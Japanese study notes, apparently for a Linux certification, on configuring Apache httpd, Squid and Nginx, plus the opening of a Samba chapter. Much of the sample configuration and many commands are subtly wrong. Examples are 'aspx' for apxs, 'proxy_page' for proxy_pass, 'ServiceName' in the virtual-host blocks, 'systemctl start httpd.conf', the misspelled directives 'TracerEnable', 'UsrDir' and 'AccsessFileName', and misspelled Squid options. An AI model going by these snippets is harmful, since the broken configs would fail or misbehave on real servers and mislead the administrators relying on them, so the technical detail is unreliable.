9.1.1. Apache

Apache(Apache HTTP Server)はOSSのWEBサーバの1つ。 Apacheの2.0系ではMPMへの対応やIPv6への対応が行われた。 また、2.2系ではキャッシュの改善や負荷分散機能の追加などが行われた。

MPM(Multi Processing Module):MPMにはprefork, worker, perchild, eventがある。

  • preforkは1.3系と同じマルチプロセスモデルでリクエストごとにプロセスを割り当てる
  • workerはスレッド対応モデルでクライアントのリクエストを子プロセスで処理し、処理増大で子プロセスを増やす
  • perchildはバーチャルホスト向けのスレッド対応で子プロセスを固定し負荷に応じてスレッドを増減する
  • eventはworkerと似た機能であるがkeepaliveの処理が異なる

なおCentOS7系の場合はApacheのMPMはpreforkとなる。

Apacheのインストール方法

Apacheのインストール方法は2通り。

  • ディストリビューションごとのパッケージを利用する方法
    • RedHat系: yum install httpd
    • Debian系: apt-get install apache2
  • ソースからコンパイルして使用する方法
    • configure
    • make
    • make install

またconfigureの役立つオプションは以下の通り。

オプション説明
–prefix=ディレクトリインストール先のディレクトリ
–sysconfdir=ディレクトリ設定ファイルのディレクトリ
–enable-module=モジュール標準モジュールの組み込む
–disable-module=モジュール標準モジュールを組み込まない
–enable-shared=モジュール標準モジュールをDSOで組み込む
–diable-shared=モジュール標準モジュールをDSOで組み込まない

使用例は以下の通り。

# インストールディレクトリの指定とsshモジュールの有効化
./configure --prefix=/usr/local/apache --enable-module=ssl

9.1.2. Apacheの基本設定

Apacheのメイン設定ファイルはhttpd.confとなる。 Apacheの主な設定ファイルのディレクトリは以下の通り。

ソースからインストールした場合

ファイル/ディレクトリ説明
/usr/local/apache2/conf/httpd.confメインの設定ファイル
/usr/local/apache2/conf/extra補助の設定ファイルを保存するディレクトリ
httpd-language.conf言語/文字コードの設定
httpd-userdir.conf一般ユーザのホームディレクトリ設定
httpd-info.confserver-info, server-statusの設定
httpd-vhosts.confバーチャルホストの指定
httpd-default.confデフォルトのサーバ全般設定
httpd-ssl.confSSL/TLSの設定

Red Hat系でインストールした場合

ファイル/ディレクトリ説明
/etc/httpd/conf/httpd.confメインの設定ファイル
/etc/httpd/conf.d/補助の設定ファイルを保存するディレクトリ
ssl.confSSL/TLS設定ファイル
php.confPHPモジュールの設定
perl.confPerlモジュールの設定

Debian系でインストールした場合

ファイル/ディレクトリ説明
/etc/apache2/apache2.confメインの設定ファイル
/etc/apache2/補助の設定ファイルを保存するディレクトリ
/etc/apache2/ports.confポートの設定
/etc/apache2/sites-enabled/サイト定義ファイルのリンク
/etc/apache2/sites-avaiable/サイト定義ファイル

httpd.confの設定項目

httpd.confの設定項目はディレクティブと呼ばれ以下のように設定する。

ディレクティブ名 設定値

また適用範囲は以下のように指定できる。

<Files ファイル名> ... </Files>

<Directory ディレクトリ名> ... </Directory>

<Location URL> ... </Location>

大まかな設定項目は以下の通り。

# Apacheの設定ファイル/ログファイルの起点となるトップディレクトリ
ServerRoot "/usr/local/apache2"

# 待ち受けポート
Listen 80

# ロードモジュール
LoadModule authn_file_module modules/mod_authn_file.so

# 実行ユーザと実行グループ
User apache
Group apache

# バージョン情報の出力設定
ServerSignature On
ServerTokens Full

# 管理者のメールアドレス
ServerAdmin root@localhost

# Webサーバーとして公開するホスト名を指定
# ホスト名は FQDN(Fully Qualified Domain Name) で記述
ServerName www.example.com:80

# /ディレクトリ以下の設定
<Directory />
    # AllowOverride は 上位のディレクトリ(この場合は/(root)ディレクトリ)でした設定を下位のディレクトリで設定を上書きできるかどうか(オーバーライドできるかどうか)を設定。none → 下位での変更が無効。all → 下位での変更が有効。
    AllowOverride none
    # アクセス制限に関する設定。デフォルトではすべて拒否する設定になっている。
    Require all denied
</Directory>

# ドキュメントルート(DocumentRoot)は、Webサーバーのトップディレクトリ
DocumentRoot "/var/www/html"

# ドキュメントルート以下の設定
<Directory "/var/www/html">
    # シンボリックリンクをたどれるようにする
    Options Indexes FollowSymLinks
    AllowOverride None
    # /var/wwwディレクト配下へのアクセスは全員が可能(Webサイトを閲覧することができる)
    Require all granted
</Directory>

# dirモジュールが有効時にディレクトインデックスの指定
<IfModule dir_module>
    DirectoryIndex index.html
</IfModule>

# ディレクトリに「.htaccess」ファイルや「.htpasswd」ファイルがあった場合、ユーザーに表示するかどうかを設定
<Files ".ht*">
    Require all denied
</Files>

# エラーログの場所を指定
ErrorLog "logs/error_log"

# ログレベルの指定
LogLevel warn
# emerg:緊急、システムが利用できないレベル
# alert:今すぐに対処が必要なレベル
# crit:致命的な状態
# error:エラーレベル
# warn:(デフォルト) 警告レベル
# notice:注意すべき重要な情報
# info:一般的な情報
# debug:デバッグレベル

<IfModule log_config_module>
    # ログのフォーマットを指定。ログフォーマットのニックネームを「combined」と名付ける。
    LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined
    # ログのフォーマットを指定。ログフォーマットのニックネームを「common」と名付ける。
    LogFormat "%h %l %u %t \"%r\" %>s %b" common

    # カスタムログの場所とフォーマットを指定。フォーマットは、ニックネーム「combined」の形式にする。
    CustomLog "logs/access_log" combined
</IfModule>

<IfModule alias_module>
    # 【例】http://sample.ne.jpの場合、「/var/www/cgi-bin/」ディレクトリを「http://sample.ne.jp/cgi-bin」に割り当てます。つまりどのディレクトリを「cgi-bin」に割り当てるのか設定する。エイリアス定義
    ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"

</IfModule>


# cgi-binディレクトリの動作について設定
<Directory "/var/www/cgi-bin">
    AllowOverride None
    # オプションは何もなし
    Options None
    # 全員がアクセス可能
    Require all granted
</Directory>

# エラーとエラーページの設定
ErrorDocument 500 "The Server mode a boo boo."
ErrorDocument 404 /missing.html

# 他の設定ファイルの読み込み
IncludeOptional conf.d/*.con

9.1.3. httpd.confの主要な設定

ServerTokens Prod|Major|Minor|MinOS|Full

HTTPヘッダ内に出力されるバージョン情報(バナー情報)を指定する。 クライアントに返信する応答ヘッダにどのような情報を含めるかということを決めれる。

セキュリティの関係で通常は「Prod」で良い。

ServerTokens Prod|Major|Minor|MinOS|Full
設定値出力
ProdServer: Apache
MajorServer: Apache/2
MinorServer: Apache/2.4
MinOSServer: Apache/2.4 (CentOS)
FullServer: Apache/2.4 (CentOS) OpenSSL/1.0.1e-fips PHP/5.4.16

ServerRoot パス

httpdが利用するトップディレクトの指定。 設定ファイルなどを格納する。

ServerRoot パス

ServerName サーバのホスト名

ホスト名の指定。

ServerName サーバのホスト名

ServerAdmin メールアドレス

サーバ管理者のメールアドレスを指定。

ServerAdmin メールアドレス

ServerSignature on|off

エラーメッセージなどのフッタ表示の有効無効化を指定。

ServerSignature on|off

TraceEnable on|off

TRACEメソッドの使用の有無の指定。

TracerEnable on|off

プロセス系の設定項目

Apacheでは複数のプロセスが処理を分担する。 仕組みとしては以下の通り。

  1. 親プロセスがクライアントからの接続を待ち受ける
  2. 個々のクライアントの対応は子プロセスが処理する

なお、待機している子プロセス数よりもクライアント数が多くなれば、子プロセス数を新たに不足分起動するのでレスポンスが低下する。 また待機している子プロセス数が多いほどメモリの使用量は多くなる。

# 起動時の子プロセス数の数
StartServers 子プロセス数
# 待機子プロセスの最小数
MinSpareServers 子プロセス数
# 待機子プロセスの最大数
MaxSpareServers 子プロセス数
# 生成される子プロセスの上限の指定
ServerLimits 子プロセス数
# 最大同時接続数の指定
MaxClients 同時接続数
MaxRequireWorkers 同時接続数
# クライアント接続がタイムアウトになる時間を秒数指定
Timeout タイムアウト時間
# KeepAlive(TCP接続のキープ)の設定(パフォーマンス向上が見込める)
KeepAlive on | off
KeepAliveRequires 上限リクエスト数
KeepAliveTimeout タイムアウト時間

Listen [IPアドレス:]ポート番号

待ち受けポート番号の指定。

Listen :80

User/group

httpd子プロセスの実行ユーザと実行グループの指定。

User ユーザ名
Group グループ名

DocumentRoot ディレクトリ

ドキュメントルートとなるディレクトリの指定

DocumentRoot ディレクトリ

UsrDir 公開ディレクトリ|disabled

一般ユーザの公開ディレクトリの指定。

UsrDir 公開ディレクトリ|disabled

DirectoryIndex インデックスファイル

ディレクトリのインデックスとして返すファイル名の指定。

DirectoryIndex インデックスファイル

ErrorLog ログファイルのパス

エラーログを記録するログファイルの指定。

ErrorLog ログファイルのパス

Loglevel ログレベル

エラーログのログレベルの指定。

Loglevel ログレベル

LogFormat “フォーマット” 書式名

ログを記録する項目と書式名を指定する。

LogFormat "フォーマット" 書式名

フォーマット文字列は以下の通り。

フォーマット文字列説明
%aリモート IP アドレス
%Aローカル IP アドレス
%Bレスポンスのバイト数。HTTP ヘッダは除く。
%bレスポンスのバイト数。HTTP ヘッダは除く。CLF 書式。 すなわち、1 バイトも送られなかったときは 0 ではなく、 ‘-’ になる
%fファイル名
%hリモートホスト
%Hリクエストプロトコル
%lリモートログ名。 これは mod_ident がサーバに存在して、 IdentityCheck ディレクティブが On に設定されていない限り、 - になる。
%mリクエストメソッド
%rリクエストの最初の行
%tリクエストを受付けた時刻。 CLF の時刻の書式 (標準の英語の書式)
%Tリクエストを扱うのにかかった時間、秒単位
%uリモートユーザ (認証によるもの。ステータス (%s) が 401 のときは意味がないものである可能性がある)
%Uリクエストされた URL パス。クエリ文字列は含まない
%>sサーバがクライアントに返すステータスコード
%{Referer}iリクエスト内のrefererヘッダの内容
%{User-agent}iリクエスト内のUserAgentヘッダの内容

Custom ログファイル名 ログ書式名

出力するログの指定を行う。

CustomLog logs/access_log combined

HostnameLookups on|off

DNSの逆引きを行いアクセス元IPアドレスからホスト名を取得する ログにホスト名やホスト名でアクセス制御を行う場合に使用する。

HostnameLookups on|off

Alias ディレクトリ パス

ドキュメントルートツリー以外の参照できるようにする際に使用する。

# /var/www/html/imagesではなく/home/www/imagesを参照できるようにする
Alias /images /home/www/images

Redirect ディレクトリ|ファイル 転送先URL

指定したURLにリダイレクトを行う

Redirect ディレクトリ|ファイル 転送先URL

ScriptAlias ディレクトリ CGI格納ディレクトリ

CGIスクリプト用ディレクトリを指定する。

ScriptAlias /cgi-bin/ /var/www/cgi-bin/

ErrorDocument エラーコード ファイル|ディレクトリ

エラーが発生した際の処理をエラーコードに続けて指定する。

ErrorDocument 404 /error.html

Options オプション

ディレクトリごとにオプションを指定できる。

オプション説明
AllMultiViews 以外のすべての機能を有効にする(デフォルト)
Noneすべての機能を無効にする
ExecCGICGI スクリプトの実行を許可する
FollowSymLinksシンボリックリンクをたどることを許可する
IncludesSSI を有効にする
Indexesファイル一覧の表示を行う
MultiViewsコンテントネゴシエーションを有効にする

9.1.4. 外部設定のファイル

httpd.conf以外に設定ファイルを記述し、httpd.confを上書きして設定することもできる。 外部設定のファイル名はhttpd.confのAccsessFileNameディレクティブで指定できる。

AccsessFileName

外部設定のファイルを指定できる。

AccsessFileName .htaccess

AllowOverride パラメータ

AllowOverrideディレクティブは外部ファイルの利用許可ができる。 複数パラメータの指定。

Directoryセクションで指定できる

AllowOverride パラメータ
パラメータ説明
AuthConfig認証に関する設定を有効にする
indexesDirectoryIndexなどの設定の有効にする
FileInfoファイルタイプの制御設定を有効にする
LimitOrder, Allow, Denyによる設定を有効にする
OptionsOpitionsの設定を有効にする
None.htaccessでの変更を無効にする
All.htaccsessで変更可能なすべての設定を有効にする

9.1.5. Apacheの制御

Apacheの起動方法は以下の通り。

# SysVinitを採用したシステムでのApacheの起動
/etc/init.d/httpd start
# Systemdを採用したシステムでのApacheの起動
systemctl start httpd.conf
# Ubuntuの場合
systemctl start apache2.service

# Apachectlによる起動
apachectl start

apachectlコマンド

apacheの操作/情報参照できるコマンド。

apachectl サブコマンド
サブコマンド説明
startApacheを起動
stopApacheの終了
restartApacheの再起動
gracefulApacheを安全に再起動
reload設定ファイルの再読み込み
configtest設定ファイルの構文チェック

9.1.6. モジュールの使用

Apacheではモジュールによって様々な機能を提供できる。 機能追加などもApacheのインストールのし直しの必要はなく、モジュールのロード/アンロードで行える。

Apacheの主要なモジュールは以下の通り。

モジュール名説明
mod_accsess_compatホストベースのアクセス制御
mod_authz_hostホストベースのアクセス制御(Requireディレクティブ)
mod_authz_userユーザベースのアクセス制御(Requireディレクティブ)
mod_auth_basic基本認証
mod_auth_digestDigest認証
mod_authn_file.htaccsessファイルによるユーザ認証
mod_aliasエイリアス機能の利用
mod_cgiCGIスクリプトの実行
mod_dirディレクティブのインデックス実行
mod_infoサーバの設定情報表示
mod_log_configリクエストログの生成
mod_mime拡張子に応じたファイルタイプの指定
mod_negotiationクライアントごとの自動判別機能の提供
mod_perlPerlの利用
mod_phpPHP5の利用
mod_proxyプロキシ機能
mod_soモジュールを読み込むDSO機能の提供
mod_sslSSL/TLS機能の利用
mod_statusサーバステータスの表示
mod_unixd実行ユーザ/グループのChroot機能
mod_userdirユーザディレクリの公開
mod_versionバージョン依存の設定

モジュールは/usr/lib/httpd/modulesなどにインストールされ、LoadModuleディレクティブで読み込む。

LoadModule perl_module modules/mod_perl.so

またApacheのインストール後にモジュールを読み込むには以下のように実施する方法もある。

  1. aspxコマンドによるコンパイル
  2. httpd.confLoadModulesディレクティブを追加

aspxコマンド

Apacheのインストール後にモジュールをDSOとしてインストールするコマンド。

sudo aspx -i -a -c mod_foofoo.c

httpdコマンド

組み込み済みのモジュールの確認や一覧の表示を行えるコマンド。

# 組み込み済みモジュールの確認
httpd -l
# Debian/Ubuntuの場合
apache2 -l

# 組み込みモジュール/DSOモジュールの一覧表示と設定ファイルの文法チェック
httpd -M

またDebian/Ubuntuの場合はa2enmodコマンドにより対話的にモジュールを有効化できる。

9.1.7. クライアントのアクセス認証

指定したディレクトリにアクセスするときにユーザ/パスワードがないときにアクセス制限をかけることができる。 認証にはBasic認証とDigest認証を使うことができる。

Basic認証

Basic認証の実装手順はhttpd.confにユーザ認証設定を実装することで可能。 なおBasic認証では平文で認証情報が流れる。 設定例は以下の通り。

<Directory "/var/www/html/private">
 # 認証タイプの指定
 AuthType Basic
 # 認証ダイアログのメッセージ
 AuthName "Please Enter Your ID and PassWord!"
 # パスワードファイル名
 AuthUserFile /etc/httpd/conf/passwd
 # AuthGroupFile
 # アクセス可能なユーザ(user ユーザ または valid-user)
 Require valid-user
</Directory>

valid-userにすると、パスワードファイルにエントリあるすべてのユーザがアクセスが許可される。 認証に用いるユーザ名とパスワードの設定はhtpasswdコマンドを用いる。

htpasswd [オプション] ファイル名 ユーザ名
オプション説明
-cパスワードファイルを新規に作成
-mMD5で暗号化する
-sSHA1で暗号化する
-Dユーザを削除する

注意点としてドキュメントルート以下のブラウザからアクセスできる場所にパスワードファイルを設置する際にアクセスできないようにする必要がある。

Digest認証

Digest認証ではチャレンジ/レスポンス形式で認証を行うので認証情報が盗聴されてもパスワードがすぐに漏洩しない特徴がある。 設定は以下の通り。

Digest認証ではAuthNameでは認証領域を指定する。

<Directory "/var/www/html/private">
 # 認証タイプの指定
 AuthType Digest
 # ユーザ認証の領域を指定
 AuthName "private"
 # パスワードファイル名
 AuthUserFile /etc/httpd/conf/passwd
 # AuthGroupFile
 # アクセス可能なユーザ(user ユーザ または valid-user)
 Require valid-user
</Directory>

認証に用いるユーザ名とパスワードの設定はhtdigestコマンドを用いる。

htdigest [オプション] ファイル名 領域 ユーザ名
オプション説明
-cパスワードファイルを新規に作成

ホストベースのアクセス認証

order, Allow,DenyディレクティブによりIPアドレス/ホスト名によるアクセス制御ができる。 なおこの制御の使用は非推奨になっているため、Requireディレクティブを代用が推奨されている。

# Allow Denyの評価順の指定
Order allow | Deny, allow | Den

# 接続許可するホストの指定
Allow from IPアドレス | ホスト名/ドメイン名
# 接続を許可しないホストの指定
Deny from IPアドレス | ホスト名/ドメイン名

なお現在推奨であるRequireディレクティブを使用する場合の書式は以下の通り。

Require エンティティ 値

指定するエンティティ例は以下の通り。

エンティティ説明
ip IPアドレスIPアドレス
ip 192.168 172.16192.168.0.0/24, 172.16.0.0/24のみ
host ドメイン名ドメイン名のホストのみ
group adminadminグループのみ
all grantedすべてのホストを許可
all deniedすべてのホストを拒否
localローカルホストのみ

また以下のディレクティブを使用して複数条件の指定も可能

ディレクティブ説明
RequireAllすべての条件にマッチで真
RequireAny1つ以上の条件にマッチで真
RequireNoneいずれにマッチしなければ真

またApache2.4以降ではorder, Allow,Denyディレクティブを使用する方法ではなく、Requireディレクティブを使用する形が推奨されている。

設定Order Deny,AllowOrder Allow,Deny
デフォルト全て許可すべて拒否
一部のアクセスのみ許可Order Deny,Allow
Deny from all
Allow from
IPアドレス/ホスト名
Order Allow,Deny
Allow from all
Deny from
IPアドレス/ホスト名
一部のアクセスのみ拒否Order Deny,Allow
Deny from
IPアドレス/ホスト名
Order Allow.Deny
Allow from
IPアドレス/ホスト名
すべて許可Order Deny,AllowOrder Allow,Deny
Allow from all
すべて拒否Order Deny,Allow
Deny from all
Order Allow,Deny

またアクセス制御をLimitLimitExceptディレクティブ内に設定して、特定のHTTPメソッドに適用することもできる。

<Limit DELETE POST PUT>
    Require vaild-user
</limit>

<LimitExcept DELETE POST PUT>
    Require All Deny
</limitExcept>

9.1.8. バーチャルホスト

バーチャルホストは1台のサーバで複数のWebサイトを管理する機能のこと。 バーチャルホストには以下の2種類がある。

  • 名前ベースバーチャルホスト … 1台のホストに1つのIPと複数のドメイン名を指定する方法
  • IPベースバーチャルホスト … 1台のホストに複数のIPアドレスと複数のドメインを指定する方法

名前ベースのバーチャルホスト

設定例は以下の通り。 下記設定の上でDNSを適切に設定するとWebサイトを複数1つのホストで運用できる。

NameVirtualHost *:80

<VirtualHost *:80>
    ServiceName web.hogehoge.jp
    ServerAdmin [email protected]
    DocumentRoot /var/www/virtual/hogehoge
</VirtualHost>
<VirtualHost *:80>
    ServiceName www.test.jp
    ServerAdmin [email protected]
    DocumentRoot /var/www/virtual/test
</VirtualHost>

IPベースのバーチャルホスト

設定例は以下の通り。

Listen 192.168.1.10:80
Listen 192.168.1.11:80

<VirtualHost 192.168.1.10:80>
    ServiceName web.hogehoge.jp
    ServerAdmin [email protected]
    DocumentRoot /var/www/virtual/hogehoge
</VirtualHost>
<VirtualHost 192.168.1.11:80>
    ServiceName www.test.jp
    ServerAdmin [email protected]
    DocumentRoot /var/www/virtual/test
</VirtualHost>

9.1.9. SSL/TLS

SSL/TLSは公開鍵暗号を使用したTCP/IPのアプリケーション層のセキュリティ技術。 SSL/TLSによりWebブラウザとサーバ間の通信を暗号化できセキュアな通信を実現できる。

認証には認証局により発行されたサーバ証明書によりサイトの正当性を保証し、セキュリティを担保する。 Apacheではmod_sslによりサイトをSSL化することができる。

SSLを利用してWebサーバの運用は以下の手順でサイト証明書を認証局から入手する。

  1. 公開鍵/暗号鍵の作成
  2. 作成した公開鍵を認証局(CA)へ送信する
  3. CAにて証明書を発行して受け取る
  4. 証明書をWebサーバにインストールする

自己署名証明書(オレオレ認証)

自己署名証明書はSSL接続をテストする為や、限られた利用者のみが使用するWEBサーバなどを構築する際に設定する。

作成手順は以下の通り。

  1. 秘密鍵(key.pem)と自己署名証明書(cacert.pem)の作成
  2. サーバ秘密鍵の作成(鍵名.key)
  3. 証明書発行要求書(CSR)の作成
  4. 証明書発行要求ファイルに対しCAが認証を行いサーバ証明書(.crt)の作成

自己署名証明書の作成例は以下の通り。 なおCA.sh -newcaCA.pl -newca(OpenSSL1.1.0以降)も使用可能。

# 秘密鍵と自己署名証明書の作成

./CA -newca
# パスフレーズを入力
# パスフレーズの再入力

# 国コードの入力
# 都道府県名
# 市町村名
# 会社名
# 部署名
# ホストのFDQN
# 管理者メールアドレス

# パスフレーズの入力
# サーバ秘密鍵の作成
openssl genrsa -out server.key 2048
# 証明書発行要求書(CSR)の作成
openssl req -new -key server.key -out server.csr
# サーバ証明書(.crt)の作成
openssl ca -out server.crt -infiles /etc/pki/ca/server.csr

SSL関連ファイル

ファイル説明
.keyサーバ秘密鍵
.csr証明書発行要求書
.crtサーバ証明書

またSSL設定(httpd.conf)例は以下の通り。 なおSSLには443ポートを使用するので注意する。

SSLEngine On
SSLProtocol all -SSLv2 -SSLv3
SSLCertificateFile [.crtのパス]
SSLCertificateKeyFile [.keyのパス]

SSL/TLSの主要ディレクティブ

ssl.confの主要なディレクティブは以下の通り。

ディレクティブ説明
SSLEngineSSL/TLSの有効無効
SSLProtocolall,SSLv2, SSLv3, TLSv1, TLSv1.1 , TLSv1.2がある。-で無効化、+で有効化
SSLCipherSuite使用する暗号化アルゴリズムのリスト
SSLCertificateFileサーバ証明書ファイル
SSLCertificateKeyFileサーバ秘密鍵のファイル
SSLCerificateChainFile中間CA証明書ファイル
SSLCACertificateFileクライアント証明書発行のCA証明書ファイル
SSLCAcertificatePathクライアント証明書発行のCA証明書ディレクトリ
SSLVerifyClientクライアント認証レベル(none, optional, opitional_no_ca, require)

SNI

SNI(Server Name Indication)は1つのWebサーバで複数のドメインのSSL/TLS証明書を利用できる仕組み名前ベースのVirtualHostであってもSSLに対応できるようにしたSSL/TLSの拡張仕様ともいえる。

この機能により、複数独自ドメインを利用するサーバにて複数のSSL/TLS証明書を使用することが可能になった。 特徴は以下の通り。

  • IPベースのVirtualHostであれば、クライアントに依存せずにSSLを使える
  • 名前ベースのVirtualHostの場合、クライアントがSNIに対応していればSSLを使用できる

SNIでは、SSLセッションのハンドシェイク(SSL接続)のタイミングでクライアント側から接続したいホスト名を提示する。これによりサーバは、クライアントが提示したホスト名を確認して適切な証明書を返すことができる。

なお、SNIはサーバだけでなくクライアント側(ブラウザ)も対応している必要がある

9.2. Webサーバの監視とメンテナンス

9.2.1. サーバ情報の取得

mod_statusモジュール

mod_statusモジュールの使用でサーバの稼働状況をブラウザに表示ができる。 mod_statusを使用する場合のhttpd.confは以下の通り。

LoadModule status_module modules/module_status.so

<Location /server-status>
    SetHandler server-status
</Location>

mod_infoモジュール

mod_infoモジュールの使用でサーバ設定の情報をブラウザに表示ができる。 mod_infoを使用する場合のhttpd.confは以下の通り。

LoadModule status_module modules/mod_info.so

<Location /server-info>
    SetHandler server-info
</Location>

9.2.2. ログファイル

Apacheの規定のログファイルにはaccsess_logerror_logがある。 /var/log/httpdなどに保存される。

  • アクセスログ … 要求のあったリクエストの情報などが保存される
  • エラーログ … エラー情報やサーバの挙動が記録される(ログレベルはLogLevelディレクティブで設定可能)

9.3. プロキシサーバの設定

プロキシサーバはクライアントPCの代理としてサーバとの通信を仲介するサーバのこと。 メリットは以下の通り。

  • 特定のWEBサイトへのアクセスを制限できる
  • クライアントからのアクセスを制御できる
  • 一度アクセスしたサイトをキャッシュしてアクセスの高速化を図れる

9.3.1. Squid

SquidはLinuxで最も使用されているプロキシサーバの1つ。 Squidはsquid.confで設定を行う。

squid.confの主要設定項目

設定項目説明
http_portSquidが利用するポート番号
visible_hostnameホスト名
hierarchy_stoplistキャッシュを利用しない文字列
maximum_object_sizeキャッシュ可能な最大ファイル数
minumum_object_sizeキャッシュ可能な最小ファイル数(0は無制限)
maximum_object_size_in_memoryメモリ上の最大ファイルサイズ
ipchache_sizeキャッシュするIPアドレス数
cache_dirキャッシュを格納するディレクトリと容量など
cache_mem総メモリの最大サイズ
cache_accsess_logクライアントのアクセスログ
cache_logキャッシュのログ
ftp_useranonymousでFTPアクセスするときのパスワード
ftp_passive_on/offFTPのパッシブモードの有効/無効
reference_ageキャッシュの保存期間
request_header_max_sizeHTTPリクエストヘッダの最大サイズ
requiest_body_max_sizeHTTPリクエストボディの最大サイズ
reply_body_max_sizeレスポンスの最大ボディサイズ(0は無制限)
aclアクセス制御リスト
http_accsessアクセス制御リストの制御
auth_paramユーザ認証方式などの設定

squid.confの設定例は以下の通り。

# ネットワークオプション
http_port 8080
visible_hostname www.example.com

# cgi-binという文字列があればキャッシュを利用せず直接アクセス
hierarchy_stoplist cgi-bin ?

# 禁止するURLを正規表現で指定
acl QUERY urlpath_regex cgi-bin \?
# 上の設定にACLを適用
no_cachedeny QUERY

# キャッシュサイズの指定
chache_mem 20MB
# キャッシュ可能な最大ファイルサイズの指定
maximum_object_size 4096KB
# 最小オブジェクトの制限
minumum_object_size 0KB
# メモリ上の最大キャッシュサイズ
maximum_object_size_in_memory 8KB
# キャッシュする最大IPアドレス数
ipchache_size 1024

# キャッシュディレクトリとサイズなどの指定
# キャッシュディレクトリ  サイズ(MB) ディレクトリ数  サブディレクトリ数
cache_dir ufs /var/spool/squid 100 16 256
# クライアントのアクセスログ
cache_accsess_log /var/log/squid/accsess.log
# キャッシュのログ
cache_log /var/log/squid/cache.log
# ストレージマネージャの管理ログ
cache_log /var/log/squid/store.log

# 匿名FTPのパスワード
ftp_user passpass
# パッシブモードの有効
ftp_passive on

# HTTPリクエストヘッダの最大サイズ
request_header_max_size 10KB
# HTTPリクエストボディの最大サイズ
requiest_body_max_size 1MB
# レスポンスの最大ボディサイズ
reply_body_max_size 0

アクセス制御の設定

Squidのアクセス制限はaclhttp_accessで行う。 aclの場合は以下の書式。

acl acl名 ACLタイプ 文字列orファイル名

ACLタイプは以下の通り。

タイプ説明
srcクライアントのIPアドレス
dst代理アクセス先サーバのIPアドレス
srcdomainクライアントのドメイン名
dstdomain代理アクセス先サーバのドメイン名
port代理アクセス先のサーバポート番号
myportクライアントのポート番号
arpMACアドレス
protoプロトコル
methodHTTPのメソッド
url_regexURLにマッチする正規表現
urlpath_regexURLからプロトコルとホスト名を除いたパス名にマッチする正規表現
time有効な時刻の指定(例: 10:00-12:00)
proxy_authユーザ認証の対象

設定例は以下の通り。

acl all src 0.0.0.0/0.0.0.0
acl localhost src 127.0.0.1/255.255.255.255
acl clients src 192.168.0.0/255.255.255.0
acl denydomain dstdomain x.com twitter.com
acl blacklist url_regex "/etc/squid/url_blacklist.txt"
acl SSL_ports port 443 563
acl Safe_ports port 80 21 443 563 70 210 1025-65535
acl CONNECT method CONNECT

# Safe_ports以外のアクセスを禁止
http_access deny !Safe_ports
# SSL_ports以外のポートのCONNECTメソッドを禁止
http_access deny CONNECT !SSL_ports

http_access deny denydomain
http_access deny blacklist
http_access allow localhost
http_access allow clients
http_access deny all

9.4. Nginxとリバースプロキシ

Nginxは高速で動作する負荷に強いWebサーバ。 特徴としてリバースプロキシやメールプロキシの機能も持つ。

9.4.1. Nginxの設定

Nginxは1つのマスタープロセスと複数のワーカープロセスから構成される。

  • ワーカープロセス … クライアントからのHTTPリクエストを受け付け処理する
  • マスタープロセス … ワーカープロセスを管理するプロセス

Nginxの設定ファイルは/etc/nginx/nginx.confとなる。 CentOSにおけるNginxの主要設定ファイルは以下の通り。

ファイル説明
/etc/nginx/nginx.confメイン設定ファィル
/etc/nginx/conf.d/default.confデフォルトサーバの設定ファイル
/etc/nginx/conf.d/ssl.confSSLの設定ファイル
/etc/nginx/conf.d/virtual.confバーチャルホストの設定ファイル

設定はディレクティブに値を指定する形で記述する。

ディレクティブ 値;

ディレクティブ {
    ディレクティブ 値;
}

またnginx.confの基本構造は以下の通り。

events {
    # 接続処理に関する記述
}

http {
    # httpサーバの設定
    server {
        # HTTPサーバ毎の設定
        location パス {
            # URI毎の設定
        }
    }
}

mail {
    # メールプロキシ関連の設定
}

またnginxの主要なディレクティブは以下の通り。

ディレクティブコンテキスト説明
includeすべて値の設定ファイルを読み込む
http {}mainhttpサーバとしての設定
server {}mainバーチャルホストの設定
usermainworkerプロセスの実行ユーザ
worker_processesmainworkerのプロセス数(CPUコア数)
worker_connectionsevents1つのworkerプロセスが同時処理できる最大接続数
log_formathttpアクセスログの書式形式
access_loghttp,server,locationアクセスログのパスとログレベル
error_logmain,http,server,locationエラーログのパスとログレベル
listenserverリクエストを受け付けるポート番号
server_nameserverバーチャルホストのサーバ名
proxy_passlocationプロキシ先の指定
fastcgi_passlocationFastCGFIサーバの指定
fastcgi_paramhttp,server,locationFastCGIサーバに渡すパラメータの設定
location プレフィックス URIパス条件{}server, location条件マッチのリクエストURIの設定
keepalive_requestshttp,server,location一度の接続で受け付けできるリクエスト数の上限
keepalive_timeouthttp,server,locationキープアライブのタイムアウト時間
server_tokenshttp,server,locationバージョン番号の表示/非表示
roothttp,server,locationドキュメントルート
indexhttp,server,locationインデックスファイル
autoindexhttp,server,locationインデックスリストの表示/非表示
error_pagehttp,server,locationエラーコードとエラーページのURI
proxy_set_headerhttp,server,locationプロキシ先に送られるリクエストヘッダフィールドの再定義
proxy_pass_headerhttp,server,locationプロキシ先からクライアントへの通過を許可するヘッダフィールドの指定

9.4.2. リバースプロキシの設定

Nginxはリバースプロキシとしてもよく利用される。 リバースプロキシの設置によりWEBサーバの負荷が軽減できる。

設定例は以下の通り。

server {
    location /{
        proxy_page http://localhost:8080

        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-Host $host;
        proxy_set_header X-Forwarded-Server $host;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

nginxコマンド

nginx -tコマンドによりnginx.confファイルの構文をチェックできる。

nginx -t

# 設定の再読み込み
nginx -s reload

14.2.10 - 10.ファイル共有

Linuxのファイル共有(smb,cifs)、Sambaなどに関して

10.1. Windowsネットワーク

Microsoft系技術の基本であるWindowsネットワークの概念について一部記載する。

10.1.1. Windowsネットワークの基本概念

ワークグループとドメイン

ワークグループはWindowsネットワークの基本単位のこと。 コンピュータをまとめたグループの1つの単位となる。

ワークグループ

マスターブラウザ

マスターブラウザは同一ネットワーク内のコンピュータのリストを取り扱いまとめて管理するホストのこと。 これは「ネットワーク」-「マイネットワーク」で一覧表示されるネットワークデータを指す。

ネットワークセグメント内に必ず1つ存在し、他のホストはマスターブラウザより参照して利用する。 マスターブラウザとなるホストは自動的に選出される

NTドメイン/ADドメイン

  • NTドメイン
    • NTドメインはWindows NTで使用されるユーザ管理の仕組み
    • ネットワーク上のWindowsホストをドメイン単位でグループ化し、ドメインコントローラ(認証サーバ)でアカウント情報を集中管理する。
    • ドメインにログインしたユーザはドメイン内の共有リソースやプリンタに認証なしでアクセスできる。
